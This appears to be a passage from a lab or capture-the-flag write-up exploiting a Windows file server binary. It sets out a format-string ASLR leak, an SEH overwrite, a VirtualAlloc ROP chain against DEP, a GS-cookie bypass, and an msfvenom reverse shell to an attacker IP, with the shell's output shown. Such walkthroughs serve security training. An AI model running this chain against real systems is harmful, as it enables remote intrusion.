Step 1 — Leaking the Binary Base Address (ASLR Bypass)
We automate reading the second leaked pointer via the format string. By subtracting the fixed offset 0x14120, we recalculate the binary's base address on each run:
#!/usr/bin/python3
from pwn import remote, log
target = remote("10.129.2.76", 2121)
target.sendline(b"TEST %p.%p")
target.recvuntil(b".")
raw = target.recvline().strip()
binary_base = int(raw, 16) - 0x14120
log.info(f"Base address: {hex(binary_base)}")
target.interactive()
python3 exploit.py
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] Base address: 0x3f290000
[*] Switching to interactive mode
The base address is now known dynamically. All ROP gadgets will be calculated as binary_base + static_offset.
Step 2 — SEH Control and Stack Pivot
We confirm control of the SEH structure (handler at 0x43434343, nSEH at 0x42424242), then search for a stack pivot gadget to move esp to our payload:
ropper --file filesrv.exe --search "add esp, 0x???; ret;"
[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
The gadget add esp, 0xe10; ret; (offset 0x11396) is chosen. After executing it, esp lands within our payload. We measure the exact distance between the post-pivot esp and the beginning of the buffer:
? (esp - buffer_start) / 4
Evaluate expression: 30 = 0000001e
esp is 30 DWORDs after the payload's start. We therefore insert 30 ret; gadgets at the head of the payload to absorb this offset and align the execution flow to the main ROP chain. The complete payload structure becomes:
[30 x ret] — post-pivot alignment[VirtualAlloc ROP chain] — DEP bypass[shellcode] — reverse shell[Padding A up to offset 1032][nSEH: 4 bytes padding][SEH handler: address of stack pivot gadget][Padding D up to 2400 bytes] — force an Access Violation in snprintf before the GS canary check
Step 3 — ROP Chain Construction
We construct the ROP chain gadget by gadget. All offsets are static relative to binary_base. The values 0x40 and 0x1000 are calculated by subtraction to avoid null bytes:
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret; (alignment x30)
# Register ECX = 0x40 (PAGE_EXECUTE_READWRITE)
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(0x8314c2ab) # intermediate value (0x8314c26b + 0x40)
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # (padding for internal call esi)
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# Register EDX = 0x1000 (MEM_COMMIT)
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(0x8314d26b) # intermediate value (0x8314c26b + 0x1000)
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop esi
# Register EBX = 0x1 (dwSize)
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x3ac3c) # inc ebx; ret;
rop += p32(binary_base + 0x3ac3c) # inc ebx; ret;
# Register EBP = pop ebp; ret; (cleanup post VirtualAlloc return)
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # address of the gadget itself
# Register ESI = jmp eax (jump to VirtualAlloc)
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# Register EDI = ret; (alignment after pushad)
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# Register EAX = VirtualAlloc address (via TlsAlloc + offset)
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffced0) # VirtualAlloc - TlsAlloc
rop += p32(binary_base + 0x3711e) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc() IAT entry
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# Trigger: pushad + jump to shellcode
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
We verify in WinDbg that the arguments are correctly positioned before the call:
bp kernel32!VirtualAllocStub
g
dds esp + 4 L4
0194f700 0194f714 ; lpAddress = esp
0194f704 00000001 ; dwSize = 1
0194f708 00001000 ; flAllocationType = MEM_COMMIT
0194f70c 00000040 ; flProtect = PAGE_EXECUTE_READWRITE
After VirtualAlloc returns, the stack protection changes:
!vprot esp
Protect: 00000040 PAGE_EXECUTE_READWRITE
The stack is now executable. The jmp esp gadget at the end of the chain transfers control directly to the shellcode.
Étape 4 — Génération du shellcode et obtention du shell
On génère un shellcode de reverse shell Windows 32 bits avec msfvenom. Les bad chars identifiés lors du fuzzing (\x00, \x01, \x09, \x0a, \x0b, \x0c, \x0d, \x1a, \x20, \x25) sont exclus — deux octets supplémentaires (\x01 et \x1a) ont été identifiés comme problématiques lors des tests. L'encodeur call4_dword_xor est utilisé (déterministe, contrairement à shikata_ga_nai qui échoue aléatoirement avec autant de bad chars) :
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.59 LPORT=443 \
-b '\x00\x01\x09\x0a\x0b\x0c\x0d\x1a\x20\x25' \
-f python -v shellcode \
-e x86/call4_dword_xor -i 1
Payload size: 348 bytes
On intègre le shellcode dans l'exploit automatisé. Un point critique est la taille du payload : le binaire est compilé avec la protection GS (stack cookie). Si le payload est trop court (≤ 2000 octets), l'overflow corrompt le canary mais snprintf ne déborde pas au-delà de la page mémoire — la fonction retourne, le check GS détecte la corruption et __fastfail tue le processus sans passer par SEH. Si le payload est trop long (≥ 4000 octets), le serveur le rejette avec ERROR. Le sweet spot est 2400 octets : assez long pour provoquer un Access Violation dans snprintf (dépassement de page) avant le check GS, ce qui dispatch l'exception via SEH vers notre handler.
Le port 443 est choisi pour le reverse shell car le firewall Windows bloque les ports non-standard en sortie (le port 4444 a été testé sans succès).
sudo nc -lvnp 443
Listening on 0.0.0.0 443
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0
[*] Offset force: 0xffffced0
[*] Shellcode reverse_tcp: 348 octets
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] [T1] base=0x3f930000 pivot=0xe10 sled=30x4=120o SC@248 (348o) total=2400o
[+] [T1] Crash! (pas de reponse)
Le listener reçoit la connexion :
connect to [10.10.16.59] from (UNKNOWN) [10.129.2.76] 50310
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
C:\shared>
Le shell est éphémère : le service manager Windows redémarre filesrv.exe après le crash et tue tous les processus enfants, y compris le reverse shell. La fenêtre d'interaction est de quelques secondes. Pour contourner ce problème, on utilise le shellcode windows/exec pour écrire la sortie des commandes dans un fichier accessible via le FTP :
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "cmd /c whoami > C:\shared\out.txt"
# Puis récupération via FTP :
ftp 10.129.2.76 # anonymous
get out.txt
cat out.txt
rainbow2\dev
On récupère le flag utilisateur de la même manière :
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "cmd /c type C:\Users\dev\Desktop\user.txt > C:\shared\out.txt"
L'exploitation est concluante. Le contournement de l'ASLR (format string), du DEP (ROP + VirtualAlloc), du GS (payload 2400 octets → Access Violation avant check canary) et du mécanisme SEH a fonctionné de bout en bout.
Voici la liste des fichiers créés lors de cette démonstration